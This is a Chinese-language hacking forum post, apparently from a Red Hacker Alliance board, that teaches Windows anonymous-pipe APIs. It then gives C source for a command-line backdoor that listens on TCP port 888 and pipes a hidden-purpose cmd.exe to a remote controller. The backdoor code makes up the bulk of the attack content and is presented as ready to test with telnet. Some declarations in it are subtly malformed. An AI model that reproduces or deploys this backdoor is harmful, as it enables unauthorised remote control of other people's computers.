Windows cmd远程通讯技术(GET_SHELL原理)--后门篇

 
762 5
kal 2021-8-16 17:32:24 | 显示全部楼层 |阅读模式
本帖最后由 kal 于 2021-8-16 17:32 编辑

1.管道技术

管道是一种简单的进程间通信的技术。在Windows下,进程间通信技术有邮槽、事件、文件映射、管道等。管道可以分为命名管道和匿名管。匿名管道比命名管道要简单许多,它是一个未命名的单向管道,常用来在-一个父进程和-一个子进程之间传递数据。匿名管道只能.实现本地机器上两个进程间的通信,不能实现跨网络的通信。

匿名管道由CreatePipe(函数创建, 管道有读句柄和写句柄,分别作为输入和输出。CreatePipe()函数的定义如下:
  1. BOOL CreatePipe() {
  2.         PHANDLE hReadPipe,
  3.         PHANDLE hWritePipe,
  4.         LPSECURITY_ATTRIBUTES lpPipeAttributes,
  5.         DWORD nSize
  6. };
复制代码

CreatePipe()函数将创建一个匿 名管道,并返回该匿名管道的读句柄和写句柄。该函数有4个参数,分别如下。

hReadPipe:指向HANDLE类型的指针,返回管道的读句柄。

hWritePipe:指向HANDLE类型的指针,返回管道的写句柄。

nSize:指定管道的缓冲区大小。这里赋值为0,使用系统默认大小的缓冲区。

lpPipeAttributes:指向SECURITY_ _ATTRIBUTES结构体的指针,检测返回的句柄是否能被子进程集成。如果此参数为NULL,则表示句柄不能被继承。匿名管道只能在父子进程间进行通信,进行数据的传递。那么子进程如果想要获得匿名管道的句柄,只能从父进程继承。SECURITY_ _ATTRIBUTES结构体定义如下:
  1. typedef struct _SECURITY_ATTRIBUTES {
  2.         DWORD nLength;
  3.         LPVOID lpSecurityDescriptor;
  4.         BOOL bInheritHandle;
  5. }SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
复制代码

SECURITY_ ATTRIBUTES 结构体有3个成员,分别说明如下。

nLength:指定该结构体的大小,一般使用sizeof()来进行计算。

lpSecurityDescriptor:指向-一个安全描述符指针,这里可以赋值为NULL。

bInheritHandle:该成员指定所返回的句柄是否能被一个新的进程所继承。如果此成员设置为TRUE,那么返回的句柄能够被进程继承。这里设置为TRUE。

--个匿名管道有两头,分别是读句柄和写句柄。写句柄用来往管道中写入数据,读句柄用来把管道中的数据读出来。向管道读取或写入数据,直接调用ReadFile()或WriteFile()即可。在对管道进行读取前,先要判断管道中是否有数据存在,如果有数据,则使用ReadFile()函数将管道中的数据读出,以避免数据接收方长时间等待。判断管道中是否有数据存在的函数是PeekNamedPipe(),其定义如下:
  1. BOOL PeekNamedPipe{
  2.         HANDlE hNamedPipe,
  3.         LPVOID lpBuffer,
  4.         DWORD nBufferSize,
  5.         LPDWORD lpBytesRead,
  6.         LPDWORD lpTotalBytesAvail,
  7.         LPDWORD lpBytesLeftThisMessage
  8. );
复制代码

该函数有6个参数,其含义分别如下:

hNamedPipe:要检查的管道的句柄。

lpBuffer:读取数据的缓冲区。

nBufferSize:读取数据的缓冲区大小。

lpBytesRead:返回实际读取数据的字节数。

lpTotalBytesAvail:返回读取数据总的字节数。

lpBytesLeftThisMessage:返回该消息中剩余的字节数,对于匿名管道可以为0。

该函数读取管道中的数据,但是不从管道中移除数据。当有数据后,可以调用ReadFile()来完成数据的读取操作。为了避免长时间等待,可以先调用PeekNamedPipe()函 数判断管道中是否有数据,也可以通过主线程分别开启用于读数据和写数据的线程,这样在读数据时就可以不用进行是否有数据的判断了。这里采用前者。

匿名管道的通信和数据传递是在父子进程之间进行的。创建进程的函数在前面的章节已经介绍过了,这里再回顾一下。 前面介绍的创建进程的函数非常多,但是只有CreateProcess()函数满足现在的要求。CreateProcess()函 数的定义如下:
  1. BOOL CreateProcess{
  2.         LPCTSTR lpApplicationName,
  3.         LPTSTR lpCommandLine,
  4.         LPSECURITY_ATTRIBUTES lpProcessAttributes,
  5.         LPSECURITY_ATTRIBUTES lpThreadAttributes
  6.         BOOL bInheritHandles,
  7.         DWORD dwCreationFlags,
  8.         LPVOID lpEnvironment,
  9.         LPCTSTR lpCurrentDirectory,
  10.         LPSTARTUPINFO lpStartupInfo,
  11.         LPPROCESS_INFORMATION lpProcessInformation
  12. };
复制代码

其中主要的bInheritHandles 和lpStartupInfo参数:

bInheritHandles:该参数用来指定父进程创建的子进程是否能够继承父进程的句柄。如果该参数为TRUE,那么父进程的每个可以继承的打开的句柄都能够被子进程继承。

lpStartupInfo: - - 个指向STARTUPINFO结构体的指针。该结构体用来指定新进程的主窗口将如何显示,输入输出等启动信息。STARTUPINFO结构体的定义如下:

  1. typedef struct _STARTUPINFO {
  2.         DWORD ch
  3.         LPTSTR lpReserved;
  4.         LPTSTR lpDesktop;
  5.         LPTSTR lpTitle;
  6.         DWORD dwX;
  7.         DWORD dwY;
  8.         DWORD dwXSize;
  9.         DWORD dwYSize;
  10.         DWORD dwXCountChars;
  11.         DWORD dwYCountChars;
  12.         DWORD dwFillAttribute;
  13.         DWORD dwFlags;
  14.         WORD wShowWindow;
  15.         WORD cbReserved2;
  16.         LPBYTE lpReserved2;
  17.         HANDLE hStdInput;
  18.         HANDLE hStdOutput;
  19.         HANDLE hStdError;
  20. } STARTUPINFO, * LPSTARTUPINFO;
复制代码
该结构体是设定被创建子进程的启动信息,它的成员非常多,这里主要使用其中的6个参数,具体如下。

cb:用于指明STARTUPINFO结构体的大小。

dwFlags:用于设定STARTUPINFO结构体的哪些字段会被用到。

wShowWindow:用于设定子进程启动时的现实方式。

hStdInput:用于设定控制台的标准输入句柄。

hStdOutput:用于设定控制台的标准输出句柄。

hStdError:用于设定控制台的标准出错句柄,类似于标准输出句柄,之所以要与hStdOutput分开,是因为有时出错后需要记录到文件中。

2.代码实现

以上就是管道后门所需要使用到的API函数,下面来具体介绍关于管道后门的实现技术方式。

后门分为控制端和被控制端。由于这里实现的是一一个 命令行的后门,那么控制端就是在不断输入相应的命令,比如dir、net user、ping 等命令。注意,这些命令并不是在控制端执行,而是送入远程的被控制端执行。当远程的被控制端执行完控制端需要执行的命令后,需要把相应的返回结构发送给控制端。

这里后门的需求已经明确,就是把控制台的命令和控制台的结果不断进行传输。方法是被控制端的父进程接收控制端发来的命令,同样被控制端的父进程发送命令运行的结果给控制端,而执行命令则由父进程创建的子进程(cmd.exe) 来完成。父进程启动子进程前,需要将STARTUPINFO中的输入输出句柄重定向到匿名管道中,这样父进程才能通过管道向子进程中传递命令,而子进程也能通过管道将命令的返回结果传递给父进程。代码如下:
  1. #include<stdio.h>
  2. #include<WinSock2.h>
  3. #pragma comment (lib, "ws2_32")

  4. int main()
  5. {
  6.         WSADATA wsa;
  7.         WSAStartup(MAKEWORD(2, 2), &wsa);

  8.         //创建TCP套接字
  9.         SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

  10.         //绑定套接字
  11.         sockaddr_in sock;
  12.         sock.sin_addr.S_un.S_addr = ADDR_ANY;
  13.         sock.sin_port = htons(888);
  14.         bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));

  15.         //开启监听
  16.         listen(s, 1);

  17.         //接受客户请求
  18.         sockaddr_in sockClient;
  19.         int SaddrSize = sizeof(SOCKADDR);
  20.         SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);

  21.         //创建管道
  22.         SECURITY_ATTRIBUTES sa1, sa2;
  23.         HANDLE hRead1, hRead2, hWrite1, hWrite2;

  24.         sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
  25.         sa1.lpSecurityDescriptor = NULL;
  26.         sa1.bInheritHandle = TRUE;

  27.         sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
  28.         sa2.lpSecurityDescriptor = NULL;
  29.         sa2.bInheritHandle = TRUE;

  30.         CreatePipe(&hRead1, &hWrite1, &sa1, 0);
  31.         CreatePipe(&hRead2, &hWrite2, &sa2, 0);

  32.         //创建通信子进程
  33.         STARTUPINFO si;
  34.         PROCESS_INFORMATION pi;

  35.         ZeroMemory(&si, sizeof(STARTUPINFO));
  36.         si.cb = sizeof(STARTUPINFO);
  37.         si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

  38.         si.wShowWindow = SW_SHOW;
  39.         //管道1用于输出,管道2用于输入

  40.         si.hStdInput = hRead2;
  41.         si.hStdOutput = hWrite1;
  42.         si.hStdError = hWrite1;

  43.         char *szCmd[] = { 'cmd' };

  44.         CreateProcess(NULL,szCmd,NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);


  45.         DWORD dwBytes = 0;
  46.         BOOL bRet = FALSE;
  47.         char szBuffer[0x1000] = { 0 };
  48.         char szCommand[0x1000] = { 0 };
  49.         while (TRUE) {
  50.                 ZeroMemory(szCommand, 0x1000);

  51.                 bRet = PeekNamedPipe(hRead1, szBuffer, 0x1000, &dwBytes, 0, 0);
  52.                 if (dwBytes) {
  53.                         //当hStdOutput和hStdError向管道1写入数据后,应该将管道1中的数据读出
  54.                         ReadFile(hRead1, szBuffer, 0x1000, &dwBytes, NULL);
  55.                         send(sc, szBuffer, dwBytes, 0);
  56.                 }
  57.                 else {
  58.                         //富金冲收到控制端的数据后,写入到管道2中
  59.                         int i = 0;
  60.                         while (1) {
  61.                                 dwBytes = recv(sc, szBuffer, 0x1000, 0);
  62.                                 if (dwBytes <= 0) {
  63.                                         break;
  64.                                 }
  65.                                 szCommand[i++] = szBuffer[0];
  66.                                 if (szBuffer[0] == '\r' || szBuffer[0] == '\n') {
  67.                                         szCommand[i - 1] = '\n';
  68.                                         break;
  69.                                 }
  70.                         }
  71.                         WriteFile(hWrite2, szCommand, i, &dwBytes, NULL);
  72.                 }

  73.         }
  74.         WSACleanup();
  75.         return 0;

  76. }
复制代码
然后用telnet命令连接即可测试了。

kshbs 2021-8-17 18:24:28 来自手机 | 显示全部楼层
可以求助楼主帮个忙吗
3126056349 2021-8-18 18:50:46 来自手机 | 显示全部楼层
求楼主帮忙
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

kal

初级红客

关注
  • 7
    主题
  • 5
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行